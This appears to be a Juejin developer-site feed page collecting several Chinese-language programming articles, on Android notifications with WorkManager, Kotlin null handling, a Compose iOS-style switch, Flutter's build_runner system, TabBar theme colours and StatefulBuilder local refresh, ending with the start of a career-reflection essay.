val request = OneTimeWorkRequest.Builder(ReminderWorker::class.java)
.setInitialDelay(duration, TimeUnit.MILLISECONDS)
.setInputData(data)
.build()
WorkManager.getInstance(context)
.enqueueUniqueWork(uniqueWorkName, ExistingWorkPolicy.REPLACE, request)
return request
}

然后在doWork方法中拿到数据进行我们上面的通知发送显示即可。具体关于OneTimeWorkRequest的使用在本文中就不详细说明了。当需要发送延迟通知时,知道可以通过配合WorkManager实现。

Android13 通知权限

在目前最新的Android 13(API 级别 33)上对于通知增加了权限限制,具体可看官方描述:

通知运行时权限


作者:愿天深海
链接:https://juejin.cn/post/7134229758179016717
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

浅谈Kotlin编程-Kotlin空值处理

前言 许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。 开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免...
继续阅读 »

前言


许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。


开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免出现空指针异常,引入了 Null机制,本篇就来了解一下Kotlin中的 Null机制


本文总览


Kotlin空值处理.png


1. 可空类型变量(?)


Kotlin中把变量分成了两种类型



  • 可空类型变量

  • 非空类型变量


通常,一个变量默认是非空类型。若要变量的值可以为空,必须在声明处的数据类型后添加 ? 来标识该变量可为空。如下示例:


var phone: String   //声明非空变量 
var price: Int? //声明可空变量

上述代码中,phone 为非空变量,price 为可空变量。若给变量name赋值为null,编译器会提示“Null can not be a value of a non-null type String”错误信息。引起这个错误的原因是Kotlin官方约定变量默认为非空类型时,该变量不能赋值为null, 而price 赋值为null,编译可以通过。


声明可空变量时,若不知道初始值,则需将其赋值为null,否则会报“variable price must be initialized”异常信息。


通过一段示例代码来学习如何判断变量是否为空,以及如何使用可空变量:


fun main() {
var name: String = "Any" // 非空变量
var phone: String? = null // 可空变量
if (phone != null) {
print(phone.length)
} else {
phone = "12345678901"
print("phone = " + phone)
}
}

运行结果:


phone = 12345678901

上述代码,定义一个非空变量 name,一个可空变量 phone。这段示例代码对可空变量进行判断,如果 phone 不为空则输出 phone的长度,否则将phone赋值为12345678901并打印输出。


2. 安全调用符(?.)


上一点的示例中,可空变量在使用时需要先通过if…else判断,然后再进行相应的操作,这样使用还是比较繁琐。Kotlin提供了一个安全调用符?.,用于调用可空类型变量中的成员方法或属性,语法格式为“变量?.成员”。其作用是先判断变量是否为null,如果不为null才调用变量的成员方法或者属性。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length
println(result)
}

运行结果:


null

结果可以看出,在使用?.调用可空变量的属性时,若当前变量为空,则程序编译正常运行,且返回一个null值。


3. Elvis操作符(?:)


安全调用符调用可空变量中的成员方法或属性时,如果当前变量为空,则返回一个null值,但有时不想返回一个null值而是指定一个默认值,该如何处理呢?Kotlin中提供了一个Elvis操作符(?:),通过Elvis操作符(?:)可以指定可空变量为null时,调用该变量中的成员方法或属性的返回值,其语法格式为 表达式 ?: 表达式 。若左边表达式非空,则返回左边表达式的值,否则返回右边表达式的值。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length ?: "12345678901"
println(result)
}

运行结果:


12345678901

从结果可以看出,当变量phone为空时,使用?:操作符会返回指定的默认值“12345678901”,而非null值。


4. 非空断言(!!.)


除了使用安全调用符(?.)来使用可空类型的变量之外,还可以通过非空断言(!!.)来调用可空类型变量的成员方法或属性。使用非空断言时,调用变量成员方法或属性的语法结构为 “变量!!.成员” 。非空断言(!!.)会将任何变量(可空类型变量或者非空类型变量)转换为非空类型的变量,若该变量为空则抛出异常。接下来我们通过一个例子来演示非空断言(!!.)的使用,具体代码如下所示。


fun main() {
var phone: String? = null // 声明可空类型变量
var result = phone!!.length // 使用非空断言
println(result)
}

运行结果:


Exception in thread"main"kotlin.KotlinNullPointerException
at NoEmptyAssertionKt.main
(NoEmptyAssertion.kt:4)

运行结果抛出了空指针异常,若变量phone赋值不为空,则程序可以正常运行。

安全调用符与非空断言运算符都可以调用可空变量的方法,但是在使用时有一定的差别,如表所示。






















操作符安全是否推荐
安全调用符(?.)当变量值为null时,不会抛出异常,更安全推荐使用
非空断言(!!)当变量值为null时,会抛出异常,不安全可空类型变量经过非空断言后,这个变量变为非空变量,非空变量为null时,会报异常,不推荐

总结


上面四种情况的介绍,可以说的很全面地囊括 kotlin 中的空处理情况,开发中应根据实际场景使用合适的操作符。


作者:南巷羽
链接:https://juejin.cn/post/7134636916514750495
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Compose制作一个“IOS”效果的SwitchButton

本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法: @Composeable fun IosSwitchButton( modifier: Modifier, checked: B...
继续阅读 »

本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法:


@Composeable
fun IosSwitchButton(
modifier: Modifier,
checked: Boolean,
width: Dp = 50.dp,
height: Dp = 30.dp,
// Thumb和Track的边缘间距
gapBetweenThumbAndTrackEdge: Dp = 2.dp,
checkedTrackColor: Color = Color(0xFF4D7DEE),
uncheckedTrackColor: Color = Color(0xFFC7C7C7),
onCheckedChange: ((Boolean) -> Unit)
)

我们先来实现点击切换,后面再来实现滑动切换,checked状态是需要外面(ViewModel)传过来,同样onCheckedChange回调的状态,需要同步更新到ViewModel中。


我们来简单的看看,只实现,点击切换按钮状态的效果代码:


// 定义按钮点击的状态记录
val switchONState = remember { mutableStateOf(checked) }
// Thumb的半径大小
val thumbRadius = height / 2 - gapBetweenThumbAndTrackEdge
// Thumb水平的位移
val thumbOffsetAnimX by animateFloatAsState(
targetValue = if (checked)
with(LocalDensity.current) { (width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx() }
else
with(LocalDensity.current) { (thumbRadius + gapBetweenThumbAndTrackEdge).toPx() }
)
// Track颜色动画
val trackAnimColor by animateColorAsState(
targetValue = if (checked) checkedTrackColor else uncheckedTrackColor
)

上面的准备工作做完,我们就需要用到Canvas 来绘制ThumbTrack,按钮的点击我们需要用ModifierpointerInput修饰符提供点按手势检测器:


Modifier.pointerInput(Unit) {
detectTapGestures(
onPress = { /* Called when the gesture starts */ },
onDoubleTap = { /* Called on Double Tap */ },
onLongPress = { /* Called on Long Press */ },
onTap = { /* Called on Tap */ }
)
}

看看我们的Canvas


Canvas(
modifier = modifier
.size(width = width, height = height)
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 更新切换状态
switchONState.value = !switchONState.value
onCheckedChange.invoke(switchONState.value)
}
)
}
) {
// 这里绘制Track和Thumb
}

绘制Track,我们需要更新drawRoundRectcolor值,我们使用上面根据checked状态变更后的trackAnimColor颜色值:


drawRoundRect(
color = animateTrackColor,
// 圆角
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx())
)

绘制Thumb,我们需要更新drawCircle里面的中心坐标X轴数值,我们使用状态变更后的动画值thumbOffsetAnimX


drawCircle(
color = Color.White,
// Thumb的半径
radius = thumbRadius.toPx(),
center = Offset(
x = thumbOffsetAnimX,
y = size.height / 2
)
)

上面实现只有点击功能,效果如下:


2022-08-22 20_43_58.gif
只能点击


GIF录制的效果不太明显,实际上根据大家个人的需求,如果只是为了点击能切换,上面的十几行代码就足够了;




当然我们对效果还是有追求的,请继续往下看,我们来看,如何实现滑动切换,我们还是看一下最后实现可滑动,可点击的效果吧,方便我们下面讲解:


111111.gif
可滑动,可点击,动画连贯


一定要记得:『点赞❤️+关注❤️+收藏❤️』起来,划走了可就再也找不到了😅😅🙈🙈


既然要用到滑动,那么我们就需要使用到Modifierswipeable修饰符



允许我们通过锚点设置,实现组件呈现吸附效果的动画,常用于开关等动画,需要注意的是:swipeable不会为被修饰的组件提供任何默认动画,只能为组件提供手势偏移量等信息。可以根据偏移量结合其他修饰符定制动画。



我们这里需要同时实现“点击”和“滑动”,这里需要把这2个修饰符组合到一个扩展文件里面,我们创建一个IOSSwitchModifierExtensions.kt文件:


// IOSSwitchModifierExtensions.kt

@ExperimentalMaterialApi
internal fun Modifier.swipeTrack(
anchors: Map<Float, Int>,
swipeableState: SwipeableState<Int>,
onClick: () -> Unit
) = composed {
this.then(Modifier
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 点击回调
onClick.invoke()
}
)
}
.swipeable(
state = swipeableState,
anchors = anchors,
thresholds = { _, _ ->
// 锚点间吸附效果的临界阈值
FractionalThreshold(0.3F)
},
// 水平方向
orientation = Orientation.Horizontal
)
)
}

我们下面会用到这个扩展方法,我们可以看到swipeable修饰符,需要SwipeableStateanchors


初始化swipeableState


val swipeableState = rememberSwipeableState(initialValue = 0, animationSpec = tween())

我们还需要初始化anchors设置在不同状态时对应的偏移量信息:


// Thumb的半径
val thumbRadius = (height / 2) - gapBetweenThumbAndTrackEdge
// 开始的锚点位置
val startAnchor = with(LocalDensity.current) {
(thumbRadius + gapBetweenThumbAndTrackEdge).toPx()
}
// 结束的锚点位置
val endAnchor = with(LocalDensity.current) {
(width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx()
}
// 根据上面的注释,很明显了
val anchors = mapOf(startAnchor to 0, endAnchor to 1)

到这里,我们需要如何继续呢,我仍然是通过录制视频,然后通过一帧一帧的去分析IOS样式switch动画效果来做的。


我们先看最终效果图,然后继续往下拆解:


111111.gif


可以看到,拖动Thumb的时候,灰色的矩形区域是缩小的,然后蓝色部分是一个颜色渐变动画,同样的,点击也是需要做对应的工作。


大家先思考一下,点击和滑动怎么做到一样的?


我们发现Swipeable有个animateTo方法,那这不就好使了吗?对不对


// 代码来自androidx.compose.material.Swipeable.kt
// 通过动画将状态设置为targetValue
suspend fun animateTo(targetValue: T, anim: AnimationSpec<Float> = animationSpec)

来了一个点,第二个点,第三个点,都来了:


// 因为animateTo是挂起函数,我们需要在coroutineScope.launch里面执行
val scope = rememberCoroutineScope()

从上面看到这里的小伙伴,应该知道,我们上面定义了一个IOSSwitchModifierExtensions.kt文件,我们在swipeTrack的onClick方法里面执行animateTo,其实这个animateTo只是更新我们当前的checked状态而已。


Canvas(
modifier = modifier
.size(width = width, height = height)
.swipeTrack(
anchors = anchors,
swipeableState = swipeableState,
onClick = {
scope.launch {
swipeableState.animateTo(if (!switchONState.value) 1 else 0)
}
}
)
) {
// 选中状态下的Track背景
// 未选中状态下的Track背景
// Thumb
}

接下来,应该怎么继续呢,我觉得大家可以先思考一下,再继续往下看。


刚刚上面,提到了有2个Track背景,一个背景是颜色渐变动画,一个是缩放动画。


Compose的Canvas怎么写scale呢? 别急,我们可以在源码和文档中找到Canvas#scale


不仅仅可以scale,还可以rotate、insert、translate等等。


还有一个问题,背景颜色渐变动画,我们要用animate*AsState来做吗?
animate*AsState 函数是 Compose 中最简单的动画 API,用于为单个值添加动画效果。您只需提供结束值(或目标值),该 API 就会从当前值开始向指定值播放动画。


我们发现animate*AsState并不是我们想要的,我们想要的是

滑动的时候根据“当前滑动移动的距离”来更新Track背景色渐变


没有用Compose的时候,我们可以用初始化一个ArgbEvaluator,然后调用:


argbEvaluator.evaluate(fraction, startColor, stopColor)

在Compose中,我们应该怎么做呢?
我们发现Color.kt中的一个方法lerp
androidx.compose.ui.graphics.ColorKt#lerp


上面的疑惑全部解开,下面就看看我们剩下的实现吧:


// 未选中状态下的Track的scale大小(0F - 1F)
val unCheckedTrackScale = rememberSaveable { mutableStateOf(1F) }
// 选中状态下Track的背景渐变色
val checkedTrackLerpColor by remember {
derivedStateOf {
lerp(
// 开始的颜色
uncheckedTrackColor,
// 结束的颜色
checkedTrackColor,
// 选中的Track颜色值,根据缩放值计算颜色【转换的渐变进度】
min((1F - unCheckedTrackScale.value) * 2, 1F)
)
}
}

LaunchedEffect(swipeableState.offset.value) {
val swipeOffset = swipeableState.offset.value
// 未选中的Track缩放大小
var trackScale: Float
((swipeOffset - startAnchor) / endAnchor).also {
trackScale = if (it < 0F) 0F else it
}
// 未选中的Track缩放大小更新,上面👆👆的:选中的Track颜色值,是根据这个来算的
unCheckedTrackScale.value = 1F - trackScale
// 更新开关状态
switchONState.value = swipeOffset >= endAnchor
// 回调状态
onCheckedChange.invoke(switchONState.value)
}

所以,我们的Canvas里面Track和Thumb最终颜色和缩放,是根据上面计算出来的值来更新的:


Canvas(
modifier = modifier.size(...).swipeTrack(...)
) {
// 选中状态下的背景
drawRoundRect(
//这种的不再使用:Color(ArgbEvaluator().evaluate(t, AndroidColor.RED, AndroidColor.BLUE) as Int)
color = checkedTrackLerpColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
// 未选中状态下的背景,随着滑动或者点击切换了状态,进行缩放
scale(
scaleX = unCheckedTrackScale.value,
scaleY = unCheckedTrackScale.value,
pivot = Offset(size.width * 1.0F / 2F + startAnchor, size.height * 1.0F / 2F)
) {
drawRoundRect(
color = uncheckedTrackColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
}
// Thumb
drawCircle(
color = Color.White,
radius = thumbRadius.toPx(),
center = Offset(swipeableState.offset.value, size.height / 2)
)
}

经过上面的漫长分析和实现,最终效果如下:


111111.gif


源码地址ComposeIOSSwitchButton


作者:Halifax
链接:https://juejin.cn/post/7134702107742961701
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 的 build 系统(一)

前言对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;但正如其描述中所述的那样,其是通过 Dart...
继续阅读 »

前言

对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;

但正如其描述中所述的那样,其是通过 Dart Build System来实现的,build_runner 和其又是一个什么关系,接下来就来学习一下dart的build系统

dart 的 build 系统

组成

dart 的 build系统,由 build_config、 build_modulesbuild_resolvers、 build_runner、 build_test、 build_web_compilers 共同组合、完成了dart 的 build 系统;

  • build_config 就是解析那个build.yaml文件,用来配置build_runner,没什么好说的,具体的功能后面再细说;
  • build_modules 好像是解析module级别信息的一个库
  • build_resolvers 从自述文件中分析,好像是一个给build_runner 每步提供所需信息的解析器?
  • build_runner 整个build系统的核心部分,其他部分都是为了拓展和实现此功能而存在的;
  • build_test 字面意思,一个测试库;
  • build_web_compilers 用于web端的build系统;

作用

Flutter的build系统其实就是生成代码,对标的应该是JAVA的APT这块的东西;

另外,对于 dart 的 build 系统,官方是有这么一段介绍:

Although the Dart build system is a good alternative to reflection (which has performance issues) and macros (which Dart’s compilers don’t support), it can do more than just read and write Dart code. For example, the sass_builder package implements a builder that generates .css files from .scss and .sass files.

也就是说dart build理论上是可以来做很多人心心念念的反射的;

基本使用

如果仅仅是使用方面来说,build_runner 的使用非常简单;比如说我们最常用的一条命令就是:

flutter pub run build_runner build

也可以配置build.yaml来修改配置信息,生成符合需要的代码;

不过在输入上面那句build_runner build之后发生了什么,像build_config之类的在这个过程中各自起了什么作用,这就需要追踪一下;

build_runner 都干了什么

image.png

根据日志信息,build_runner 的流程基本遵循这样一个套路:

  • 生成和预编译build脚本
  • 处理输入环境和资源
  • 根据前面的脚本和输入信息,开始正式执行builder生成代码;
  • 缓存信息,用于下一回生成代码的时候增量判断使用;

接下来就看下这些编译脚本、输入环境、资源等不知所云的东西,到底是什么;

生成和预编译build脚本

生成部分:

首先来到build_runner的main函数部分,前面一大片对参数检测的拦截判断,真正执行命令的地方放在了最后:

image.png

在这个方法中最先做的事就是生成build脚本

image.png

其内容也很简单,说白了就是输出一个文件而已:

image.png

至于这个文件内容是什么,有什么用,先放到后面再说;现在先关注于整体流程;

那么现在可以得知,这步会在scriptLocaton这个路径上生成一个build脚本;而这个路径也不难得到:

image.png image.png image.png

其实就是 .dart_tool/build/entrypoint/build.dart 这个文件;

预编译部分:

在上面贴的generateAndRun方法中,生成文件之后就会执行一个 _createKernelIfNeeded 方法,其作用也正如其名,检测是否需要就创建内核文件;

image.png

image.png

而这个内核文件,也就是后缀为build.dart.dill 文件

image.png

同时,在这里也提到了一个新的概念:assetGraph,不过这些也是后面再细看的东西;

处理输入环境和资源

在编译完build脚本生成内核后,下面就是执行这个内核文件;在这里新开了一个isolate去执行这个文件:

image.png

接下来就该看下这个内核文件到底是什么……但是呢,内核文件这东西,本来就不是给人看的………………所以呢,可以从另一方面考虑下,比如说,既然内核文件看不了,那我就看内核文件的从哪编译来的,反正逻辑上也是大差不差,完全可以参考;

正好内核文件的来源,也就是那个build脚本,其位置在上面也提到过了;在我测试代码中,它最后是这样的:

image.png 其中的这个_i10,正是build_runner……看来兜兜转转又回来了?

应该说回来了,但没完全回来,上面提到的build_runner是bin目录下的;这次的build_runner是lib目录下的,入口还是不一样的;

在这里,build_runner build中的build这个参数才真正识别并开始执行;前面都是前戏;而执行这个build命令的是一个名为BuildCommandRunner的类,其内部内置了包括build在内的诸多函数命令:

image.png

由于测试的指令参数为build,所以命中的commend为 BuildCommand;而 BuildCommand 所做的事也基本集中在 src/generate/build.dart 这个文件中的build方法中了;自此开始真正去执行build_runner对应Builder中要求做的事;

其build方法所做的事还是比较容易看懂的:

image.png

  1. 配置环境(包括输入输出配置)
  2. 配置通用选项(build时候的配置项目)
  3. 调用BuildRunner.create创建Builder和生成所需数据,最后调用run执行;

而这部分所说的处理输入环境和资源就在 BuildRunner.create 这部分中;其会调用 BuildDefinition.prepareWorkspace方法;

image.png

而在这里就出现了上面提到的assetGraph,这里就是其创建和使用的地方:

image.png

所以,最终总结一下,处理输入环境和资源 这个环节所做的事就是根据配置生成输入输出、build过程中所需的各种参数,提供assetGraph这个东西;

具体这些配置入口在哪,从何而来,assetGraph又是什么东西,有什么作用,后面再看;

正式执行builder生成代码

这部分就是刚才提到的调用run方法的地方;

image.png

它的run方法咋看好像也不难懂的样子,主要是各种新名词有点多:

image.png

不过现在只跟随build流程来说的话,核心应该事其中的_safeBuild方法:

image.png

其所做的事,除了各种心跳log之外,应该就是更新assetGraph;执行_runPhases;另外毕竟事safeBuild嘛,所以新开了一个zone来处理;

image.png

_runPhases所做的事就是真正去执行build所做的事,生成代码之类的;比如说json_serializable中的build,就会走_runBuilder部分并最终调用runBuilder中的builder.build,也就是自定义Builder中需要自己实现的部分;

image.png

对了,关于像json_serializable的自定义Builder从何而来的问题,答案是一开始就已经集成进来了,在builder.dart中已经出现了其身影:

image.png

不过为什么build.dart 能得知具体有哪些builder?比如说json_serializable中的builder,是怎么加入到build.dart中的,那也是后面要看的东西;

缓存信息

再次回到 _safeBuild 这块,缓存信息的部分紧贴着run部分:

image.png

好像就写了一下文件,没了?

结语

这篇大体粗略的过了一下build这个命令都干了什么;不过像生成的文件内部结构、作用;配置信息来源,如何解析之类的问题还未解决;在后面会依次看看;

最后尝试实现一份自己的自定义Builder;


作者:lwlizhe
链接:https://juejin.cn/post/7133488621180420126
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

【Flutter】实现自定义TabBar主题色配置

需求背景 首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColor和u...
继续阅读 »

需求背景


首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColorunselectedLabelColor两者。因此若需要自定义实现支持配置主题色TabBar组件。


Video_20220820_045352_279.gif


改造实现详解


TabBar切换字体抖动问题解决


这在此之前文章中有提到过解决方案,主要实现逻辑是将原先切换动画替换为缩放实现,规避了动画实现出现的抖动问题。


解决方案


TabBar切换字体主题色实现



  1. TabBar入参提供每个Tab的颜色配置: final List labelColors;

  2. 找到TabBar切换逻辑代码【_TabBarState】:【_buildStyledTab】


_buildStyledTab中TabStyle方法负责构建每个Tab样式,调整该方法增加构建当前TabStylePositioncurrentPosition,分别为对应Tab的样式和当前选中Tab的样式


Widget _buildStyledTab(Widget child,int position,int currentPosition, bool selected, Animation<double> animation,TabController controller) {
Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[position];
unselectedLabelColor = widget.labelColors[currentPosition];
return _TabStyle(
animation: animation,
selected: selected,
labelColors: widget.labelColors,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController:controller,
child: child,
);
}


  1. 调整_TabStyle方法内部逻辑


增加以下代码逻辑通过TabController获取当前选中Tab定位并且增加渐变透明度调整


// 判断是否是临近的下一个Tab
bool isNext = false;
// 透明度不好计算呀
double opacity = 0.5;
// 当前选中的Tab
int selectedValue = tabController.index;
selectedColor = labelColors[selectedValue];
// 当前偏移方向
if (tabController.offset > 0) {
unselectedColor = labelColors[selectedValue + 1];
isNext = false;
} else if (tabController.offset < 0) {
isNext = true;
unselectedColor = labelColors[selectedValue - 1];
} else {
unselectedColor = selectedColor;
}
if (unselectedColor != Color(0xFF333333)) {
opacity = 0.9;
}

final Color color = selected
? Color.lerp(selectedColor, unselectedColor.withOpacity(opacity),
colorAnimation.value)
: unBuild
? Color.lerp(selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(opacity), colorAnimation.value)
: Color.lerp(
selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(isNext ? 1 : opacity),
colorAnimation.value);


  1. CustomPaint组件同样也需要增加选中色值设置


    Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[_currentIndex];
unselectedLabelColor = widget.labelColors[_currentIndex];
final Animation<double> animation = _ChangeAnimation(_controller);

Widget magicTabBar = CustomPaint(
painter: _indicatorPainter,
child: _TabStyle(
animation: animation,
selected: false,
unBuild: true,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelColors: widget.labelColors,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController: widget.controller,
child: _TabLabelBar(
onPerformLayout: _saveTabOffsets,
children: wrappedTabs,
),
),
);

TabBar指示器自定义


官方提供TabBar的选中指示器长度是跟随Tab宽度不能做到固定宽度,且当改造TabBar主题色之后也期望指示器支持跟随主题色变化。



  1. 自定义指示器继承Decoration增加三个入参TabControllerList<Color>width

  2. _UnderlinePainter增加当前选中Tab逻辑来确定主题色选择。


    double page = 0;
int realPage = 0;
page = pageController.index + pageController.offset ?? 0;
realPage = pageController.index + pageController.offset?.floor() ?? 0;
double opacity = 1 - (page - realPage).abs();
Color thisColor = labelColors[realPage];
thisColor = thisColor;
Color nextColor = labelColors[
realPage + 1 < labelColors.length ? realPage + 1 : realPage];
nextColor = nextColor;


  1. _indicatorRectFor方法修改指示器宽度方法,计算出Tab的中心位置再根据设置宽度绘制最终偏移量位置信息。


final Rect indicator = insets.resolve(textDirection).deflateRect(rect);
double midValue = (indicator.right - indicator.left) / 2 + indicator.left;
return Rect.fromLTWH(
midValue - width / 2,
indicator.bottom - borderSide.width,
width,
borderSide.width,
);

最终效果


🚀详细代码看这里🚀


Video_20220820_045414_26.gif


作者:JulyYu
链接:https://juejin.cn/post/7133880100914724871
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter StatefulBuilder实现局部刷新

前言 flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。 GlobalKey、ValueNotifier和StreamBuilder等...
继续阅读 »

前言


flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。


GlobalKeyValueNotifierStreamBuilder等技术方案都可以实现Flutter页面的局部刷新,本文主要记录的是通过StatefulBuilder组件来实现局部刷新的方法。


页面的全量刷新


StatefulWidget内直接调用setState方法更新数据时,会导致页面重新执行build方法,使得页面被全量刷新。


我们可以通过以下案例了解页面的刷新情况:


 int a = 0;
 int b = 0;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: [
           // 点击按钮,数据‘a’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               a++;
               setState(() {});
            },
             child: Text('a : $a'),
          ),
           // 点击按钮,数据‘b’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

代码运行效果如图:


代码运行效果图


当我们点击第一个ElevatedButton组件时,会执行a++setState(() {})语句。通过系统的Flutter Performance工具我们可以捕获到组件刷新的情况,当执行到setState(() {})时,页面不只是刷新a数据所在的ElevatedButton组件,而是重新构建了页面,这会造成额外的性能消耗。


代码运行效果图组件实现情况


出于性能的考虑,我们更希望当点击第一个ElevatedButton组件时,系统只对a数据进行更新,b作为局外人不参与此次活动。我们可以通过StatefulBuilder组件来实现这个功能。


StatefulBuilder简介


StatefulBuilder组件包含了两个参数,其中builder参数为必传,不能为空:


 const StatefulBuilder({
     Key? key,
     required this.builder,
  }) : assert(builder != null),
 super(key: key);

builder 包含了两个参数,一个页面的context,另一个是用于状态改变时触发重建的方法:


 typedef StatefulWidgetBuilder = Widget Function(BuildContext context, StateSetter setState);
 final StatefulWidgetBuilder builder;

StatefulBuilder的实际应用


StatefulBuilder组件在实际应用中主要分成以下操作:



1、定义一个StateSetter类型的方法;


2、将需要局部刷新数据的组件嵌套在StatefulBuilder组件内;


3、调用第1步定义的StateSetter类型方法对StatefulBuilder内部进行刷新;



 int a = 0;
 int b = 0;
 
 // 1、定义一个叫做“aState”的StateSetter类型方法;
 StateSetter? aState;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: <Widget>[
           // 2、将第一个“ElevatedButton”组件嵌套在“StatefulBuilder”组件内;
           StatefulBuilder(
             builder: (BuildContext context, StateSetter setState) {
               aState = setState;
               return ElevatedButton(
                 onPressed: () {
                   a++;
                   // 3、调用“aState”方法对“StatefulBuilder”内部进行刷新;
                   aState(() {});
                },
                 child: Text('a : $a'),
              );
            },
          ),
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

重新运行后点击第一个按钮对a进行累加时,通过Flutter Performance工具我们可以了解到,只有StatefulBuilder组件及其包含的组件被重新构建,实现了局部刷新的功能,有效的提高了页面的性能;


代码运行效果图组件刷新情况


总结


StatefulWidget内更新一个属性会导致整个树重新构建,为防止这种不必要的性能消耗,可以通过StatefulBuilder组件进行局部刷新,有效的提高性能。


作者:zheng1998
链接:https://juejin.cn/post/7134335466614030344
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

为什么有些蛮厉害的人,后来都不咋样了

摆正初心我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)思考结果我觉得是没...
继续阅读 »

前言


写这篇文章目的是之前在一篇文章中谈到,我实习那会有个老哥很牛皮,业务能力嘎嘎厉害,但是后面发展一般般,这引起我的思考,最近有个同事发了篇腾讯pcg的同学关于review 相关的文章,里面也谈到架构师的层次,也再次引起我关于架构师的相关思考,接下来我们展开聊聊吧~

摆正初心


我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)

查理芒格说过一句话:如果我知道在哪里会踩坑,避开这些,我已经比很多人走得更远了。

思考结果


我觉得是没有一个层级的概念导致的,这个原因筛掉了大部分人,突破层级的难度筛掉了另外一批人,运气和机会又筛掉另一波人。

没有层级概念

为什么这么讲呢?

我们打游戏的时候,比如说王者,会有废铁、青铜、钻石、铂金、荣耀、荣耀王者,对吧。它的层级大家都清楚,但是在现实生活中,你会闷逼了,我当前处在那个阶段,上一层是什么水平,需要什么技能,什么样的要求。

其次也会对自己能力过高的评价,如果你一直在组里面,你可能一直是一把手,到了集团,可能变成10名内,到了公司排名,可能几百名后。我们需要站在一个更高、更全面的角度去了解自己的位置。

出现这种情况也很正常

举个栗子,以前我实习那会,有个老哥业务能力特别强,啥活都干得快,嘎嘎牛皮,这是个背景

如果团队里头你最厉害了,那你的突破点,你的成长点在哪里?

对吧,大家都比你菜了,自然你能从别人身上学习到的就少了,还有一种情况是你觉得你是最厉害的,这种想法也是最要命的,会让你踏步不前。这时的解法,我认为是自驱力,如果你学哲学,就知道向内求,自我检讨,自己迭代更新,别人就是你,你就是别人,别人只是一面镜子。

层级的概念

那时看到他搞业务特别厉害,但现在看是做需求厉害,但是缺乏深度。我对比以前的开发经历,跟现在在架构组的工作经历,感受很明显。一个是为了完成任务,一个需要深度,什么深度呢?这个埋下伏笔,为后面架构师层级再展开聊聊。

